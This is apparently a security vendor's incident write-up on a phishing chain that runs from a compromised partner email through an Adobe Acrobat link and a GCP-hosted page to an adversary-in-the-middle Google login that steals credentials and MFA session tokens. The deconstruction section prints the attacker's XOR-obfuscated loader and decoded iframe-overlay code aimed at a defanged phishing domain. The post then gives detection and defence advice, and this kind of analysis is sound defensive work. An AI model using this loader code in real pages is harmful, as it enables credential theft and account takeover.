> For the complete documentation index, see [llms.txt](https://blog.pepperclipp.com/pepperclipp-public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.pepperclipp.com/pepperclipp-public/others/the-phishing-matryoshka-unpacking-a-bec-to-aitm-nested-attack-chain.md).

# The Phishing Matryoshka: Unpacking a BEC to AiTM Nested Attack Chain

#### Attack overview

In December 2025, Exaforce was notified about a suspected phishing attempt using an Adobe Acrobat link being sent to the email of one of our customer’s employees. The link redirected the employee to a PDF file, which in turn, redirected them to a phishing site.

We analyzed the phishing attempt and the page that phished the user and came out with a verdict of malicious attempt to phish identities using an Adversary-in-the-Middle attack.

<figure><img src="https://cdn.prod.website-files.com/67e6900e4370de1b108ab81b/6979a20325ac461e5e2bbd23_Bleon-Blog-The_Phishing_Matryoshka.jpg" alt=""><figcaption><p><em>Phishing flow using trusted services (Google Workspace, Adobe, GCP) to deliver an AiTM credential-harvesting attack</em></p></figcaption></figure>

### Attack chain from email to credential theft <a href="#attack-chain-from-email-to-credential-theft" id="attack-chain-from-email-to-credential-theft"></a>

The actor used a compromised identity from one of the target’s partner companies to send an email to several of the target’s users. This would ensure the target would not get suspicious of the origin of the email.

The contents of the email showed us they sent an Adobe link to target user, with the justification that they needed to send the file using a link, as it was too large.

hello i tried sending you some documents through attachments but the files are too large so i had to resend using adobe secured upload for security reasons&#x20;

At this point, the victim sees what appears to be a legitimate email from a known business contact, with no obvious signs of compromise.

The links of the malicious PDF are in the format below:

```htmlbars
<https://acrobat.adobe.com/id/urn:aaid:sc:US:{ID redacted}>
<https://acrobat.adobe.com/id/urn:aaid:sc:US:{ID2 redacted}>
```

Upon clicking the link, the victim sees a one-page PDF with an embedded link at the bottom.

<figure><img src="https://cdn.prod.website-files.com/67e6900e4370de1b108ab81b/69794ef17c8676f81b811474_b3ff2398.png" alt=""><figcaption><p><em>The malicious Adobe Acrobat page prompting victims to click "View Secure Document" to access the phishing site</em></p></figcaption></figure>

The victim now believes they're accessing a secure document through Adobe's official infrastructure and clicks the "View Secure Document" link.

This link redirects the target to a verification and then a Google sign in page.

<figure><img src="https://cdn.prod.website-files.com/67e6900e4370de1b108ab81b/69794ef17c8676f81b81146e_50236785.png" alt=""><figcaption><p><em>The attacker's fake "Press &#x26; hold to verify" page that mimics legitimate bot-detection before presenting the phishing form</em></p></figcaption></figure>

This fake verification step mimics legitimate bot-detection services, adding another layer of false legitimacy before the credential theft.

The page is hosted on the file offline\_attachment.html, hosted in a GCP storage bucket, configured as a Web Hosting page.

<figure><img src="https://cdn.prod.website-files.com/67e6900e4370de1b108ab81b/69794ef17c8676f81b81147d_42d230cb.png" alt=""><figcaption><p><em>The credential-harvesting phishing page mimicking Google's sign-in interface, hosted on a GCP storage bucket to appear legitimate</em></p></figcaption></figure>

The victim sees Google's authentic branding and familiar login interface, with no indication they're on a malicious page intercepting their credentials in real-time.

After the target inputs their credentials, the target gets a 403 error message, making the page seem like the target did not have access to the file shared.

<figure><img src="https://cdn.prod.website-files.com/67e6900e4370de1b108ab81b/69794ef17c8676f81b811477_660d8fbe.png" alt=""><figcaption><p><em>The deceptive 403 error shown after stealing credentials, convincing victims the attack was merely an access issue rather than credential theft</em></p></figcaption></figure>

The victim attributes the access denial to permissions issues, not realizing their credentials and session tokens have just been stolen.

This attack harvested email credentials, passwords, and MFA tokens using an AiTM technique. The attacker intercepts and relays authentication requests between the victim and Google's legitimate sign-in page in real-time, allowing them to bypass MFA protections by capturing active session tokens.

### Deconstructing the attack <a href="#deconstructing-the-attack" id="deconstructing-the-attack"></a>

Analyzing the file `offline_attachment.html`, we see it contains an obfuscated JavaScript code, with an XOR encrypted blob on variable k, working as the page loading code. The function r will run the decryption, using the variables `h` and `t` as the XOR key.

```javascript
const r = function(p, q) {
    const z = atob(p);
    let w = '';
    for (let c = 0; c < z.length; c++) {
      const b = z.charCodeAt(c);
      const x = q.charCodeAt(c % q.length);
      w += String.fromCharCode(b ^ x);
    }
    return w;
  };
  
const k = "RVYURVhbFFgLUUAUCEYHDlFMWwANQU1bQVIHEVxzCFEPUldAHQcXDlARFAQ0bxphZAYKRxAfXz5CFxkUVAsTDVtfT0sQVA1cUVgeS1hSABxFVlVYWhFOElNUU0gMRwpfWllBTAI8RBRCF1hZRQoKB0sXRQQNUQFXSxkHAV0eQ1UOW1ZDGBIMER9XVxMKUgJMWlgIQhANbhRCFxlVWBYPCFRAGBYCWwdaXE9IBF1STBMDW1VbQksODlZYWhZEHFgyExdGRVhbFFgLUUAaRgcNBVBWTksCUQcQFFYKCVZBSUcBRVBEQRVESAkzFkVDFQJVQ1sPA0AYF1UMU1tbTUgCBVYREQQPWQxPHkcJFUxGFxkWWBRRRgUCEVcURQQNUQFXSxBPXjMWRBRCVlREWQ8FGBxKVwsHVwxAHVYCARERBVgOWE4ZUwkRDEEeH15pFUMYE1YLFVVfAk1MREtXFVtDAEZWVE1BVCtqERxBVVp+Qx9Feg94Ek1BGAsJFE4DbDRbUxwGEFtxBB9FW0tWEk1EUnhREU5EVDANFBxBU2BlQx8CAlNWVU1BUwJPFE5BVCV+ERxBImgGQx9FX3hiEk0DU3sKVk4DUSRyUxwGLnRuBB9FYk8THE0HWjgZFkVDVA5IX14AHBdFEE0OUhdXRhU3BEpNFlhDEhNXQF4SDFZYXhQEXkFRUV1DCFxKUxFZFVNISwxGElBSEFxYFwgEBUNYQVpcXwILQVkYAgdWQAIWBlsQU1xGD0ZTEUoCFggCRwRRXQ1GVUlOX0QDU11dWwFZQQJJTl5DWhVdQVEKCk4MRFwLU11RW11DGx9QWAEGTVkYCg5fXAAPXxNZPRkUFUYHDlFMWwANQU1PQV4SABFXCUQOXl9NHF1pQRIZFgEMVhZVVlkSS1tZAE1MXldaUBQrNX91FlhDF0EDORdGRRlSC1cXWlxaQUgBDlZAGAQTRQZWV3QODFVSTFUPR1VdUx9KWg==";
let h = "37fe96d4b794"; 
let t = "5fca296ec5c8";
let e = h + t;
>>> '37fe96d4b7945fca296ec5c8'

d = location.hash;
>>> ''
```

After decrypting variable k, the code dynamically generates an iframe on the page that loads content from a Base64-encoded URL.

```javascript
>>> console.log(r(k, e));
var amplify = document.createElement(atob("aWZyYW1l")); // iframe
amplify.sandbox.add('allow-same-origin');
amplify.sandbox.add('allow-top-navigation');
amplify.sandbox.add('allow-modals');
amplify.sandbox.add('allow-scripts');
amplify.sandbox.add('allow-popups-to-escape-sandbox');
amplify.sandbox.add('allow-forms');
amplify.src = atob("aHR"+'0cH'+'M6L'+"y90"+`YWc`+`ubG`+'lrb'+'3Jh'+'aS5'+'6YS'+`5jb`+"20v"+"aFF"+'GQ0'+'hAV'+`2I3`+`dGJ`+`KMX`+'Uv')+d;
amplify.style.cssText = 'position: fixed; inset: 0px; width: 100%; height: 100%; border: 0px; margin: 0px;padding: 0px; overflow: hidden; z-index: 999999;';
document.write(amplify);
document.body.innerHTML = "";
document.body.appendChild(amplify);
```

The URL value is `` `tag[.]likorai[.]za[.]com` ``, with the path being generated on spot.

```javascript
>>> atob("aHR"+'0cH'+'M6L'+"y90"+`YWc`+`ubG`+'lrb'+'3Jh'+'aS5'+'6YS'+`5jb`+"20v"+"aFF"+'GQ0'+'hAV'+`2I3`+`dGJ`+`KMX`+'Uv')
'<https://tag[.]likorai[.]za[.]com/hQFCH@Wb7tbJ1u/>'
```

The attacker's URL includes an id parameter that triggers the phishing page. Without this parameter, the site displays a random decoy page to evade detection.

```javascript
URL: <https://tag[.]likorai[.]za[.]com/u38jnhm1lkqw6?id=><very long GUID>
```

<figure><img src="https://cdn.prod.website-files.com/67e6900e4370de1b108ab81b/69794ef17c8676f81b811471_03504baf.png" alt=""><figcaption><p><em>Random decoy page shown when the malicious URL is accessed without the id parameter, designed to avoid detection by security tools</em></p></figcaption></figure>

### How Exaforce detected and responded <a href="#how-exaforce-detected-and-responded" id="how-exaforce-detected-and-responded"></a>

Exaforce's platform detected the suspicious Adobe Acrobat link through behavioral analysis of email patterns and sender reputation anomalies. Our investigation revealed the complete attack chain, from the initial phishing email through the obfuscated JavaScript and credential-harvesting infrastructure hosted on GCP.

<figure><img src="https://cdn.prod.website-files.com/67e6900e4370de1b108ab81b/697a3badaeba6134a01d4a7b_6799b1aa.png" alt=""><figcaption><p>Threat finding generated by the suspicious phishing email</p></figcaption></figure>

By reverse-engineering the XOR-encrypted code, we identified the malicious domains and hosting infrastructure. This analysis enabled us to uncover three additional employees who had interacted with similar phishing emails, allowing for rapid containment before the attack could spread further within the organization.

### Protection strategies <a href="#protection-strategies" id="protection-strategies"></a>

Organizations can protect themselves against AiTM phishing attacks like this with the following measures:

* Monitor authentication logs for anomalies including unusual sign-in locations, impossible travel patterns, and rapid session establishment following authentication events. Immediately revoke all active sessions for potentially compromised accounts to invalidate stolen session tokens.
* Configure email security platforms with necessary permissions to analyze message content, extract URLs from attachments, and identify suspicious patterns in sender behavior and content characteristics.
* Implement conditional access policies that restrict authentication based on device compliance, network location, and risk signals to limit the effectiveness of stolen credentials even when attackers successfully harvest them.
* Deploy phishing-resistant authentication methods like hardware security keys (FIDO2/WebAuthn) that cryptographically verify destination domains and cannot be intercepted through real-time man-in-the-middle attacks.

### Lessons from the phishing attempt <a href="#lessons-from-the-phishing-attempt" id="lessons-from-the-phishing-attempt"></a>

This attack exposes the limitation of MFA that it protects against stolen credentials but fails when attackers intercept the entire authentication flow in real-time. By positioning themselves between the victim and Google's legitimate sign-in page, the attacker can capture passwords, MFA codes, and active session tokens that provide persistent access regardless of password changes. The use of trusted infrastructure from Adobe and Google Cloud Platform allowed the attack to bypass both user awareness and conventional security controls.

Organizations must recognize that traditional MFA is insufficient against AiTM attacks and move toward phishing-resistant authentication methods. Combined with behavioral analysis and rapid incident response capabilities, these defenses can detect and contain sophisticated phishing campaigns before they compromise additional accounts.